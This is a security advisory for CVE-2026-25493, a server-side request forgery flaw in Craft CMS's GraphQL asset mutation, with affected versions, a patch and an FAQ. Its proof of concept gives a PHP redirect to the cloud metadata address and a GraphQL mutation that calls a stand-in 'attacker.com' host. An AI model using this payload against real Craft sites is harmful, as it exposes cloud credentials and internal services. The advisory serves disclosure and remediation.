CVE-2026-25493: Craft has a SSRF in GraphQL Asset Mutation via HTTP Redirect
Summary The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
--- Proof of Concept 1. Host a redirect script on your server (e.g. redirect.php): php <?php header("Location: http://169.254.169.254/latest/meta-data/"); ?> 2. Send the following GraphQL mutation: graphql mutation { saveimagesAsset(file: { url: "https://attacker.com/redirect.php" filename: "metadata.txt" }) { id } } 3. The application validates attacker.com (passes) 4. Guzzle follows the redirect to 169.254.169.254 5. Cloud metadata is saved as an asset
--- Mitigation - Disable redirects.
Other sources
Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-25493?
CVE-2026-25493 is classified with a severity level that indicates a potential security risk due to SSRF in GraphQL Asset Mutation.
How do I fix CVE-2026-25493?
To fix CVE-2026-25493, upgrade Craft to versions 4.16.18 or 5.8.22 or later to mitigate the vulnerability.
What type of vulnerability is CVE-2026-25493?
CVE-2026-25493 is a Server-Side Request Forgery (SSRF) vulnerability affecting the GraphQL Asset Mutation.
Which versions of Craft are affected by CVE-2026-25493?
CVE-2026-25493 affects Craft versions 4.0.0-RC1 to 4.16.17 and 5.0.0-RC1 to 5.8.21.
What can attackers potentially do with CVE-2026-25493?
Attackers exploiting CVE-2026-25493 could perform malicious requests to internal services via HTTP Redirects.